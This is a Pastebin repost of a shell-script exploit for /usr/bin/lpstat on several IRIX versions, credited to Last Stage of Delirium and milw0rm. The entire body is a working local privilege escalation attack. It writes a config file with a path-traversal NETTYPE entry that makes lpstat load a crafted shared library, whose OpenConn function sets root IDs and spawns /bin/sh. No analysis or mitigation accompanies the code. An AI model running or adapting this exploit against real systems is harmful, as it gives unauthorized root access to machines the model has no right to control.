Advertisement
FlyFar

IRIX 5.3/6.2/6.3/6.4/6.5/6.5.11 - '/usr/bin/lpstat' Local Overflow / Local Privilege Escalation

Feb 24th, 2024
988
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.26 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. ## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
  3. ## /usr/bin/lpstat                                                             #
  4.  
  5. EXECUTABLE=/usr/bin/lpstat
  6. FILE=file
  7. LIBRARY=lsd
  8. DIRECTORY=tmp
  9.  
  10. cd $DIRECTORY
  11. cat > $FILE << 'EOF'
  12. HOSTNAME=localhost
  13. HOSTPRINTER=bzzz-z
  14. EOF
  15. echo NETTYPE=../../../../$DIRECTORY/lsd >> $FILE
  16. chmod 666 $FILE
  17. cat > $LIBRARY.c << 'EOF'
  18. OpenConn(){
  19.     printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
  20.     printf("/usr/bin/lpstat for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
  21.     printf("\n");
  22.     setreuid(getuid(),0);setuid(0);setgid(0);
  23.     execl("/bin/sh","sh",0);
  24. }
  25. CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
  26. GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
  27. RemoveSemiColons(){} CreateInterface(){} InstallPrinter(){}
  28. InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){} ListAllPrinters(){}
  29. EOF
  30. cc -c $LIBRARY.c -c -o $LIBRARY.o
  31. ld -shared $LIBRARY.o -o $LIBRARY.so
  32. rm -rf $LIBRARY.[co] so_locations
  33. if [ ! -f "$LIBRARY.so" ]
  34.     then
  35.     echo "error: building library"
  36.     exit 1
  37. fi
  38. chmod 666 $LIBRARY.so
  39.  
  40. $EXECUTABLE -n ../../../../../$DIRECTORY/$FILE
  41.  
  42. # milw0rm.com [2001-05-07]
  43.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement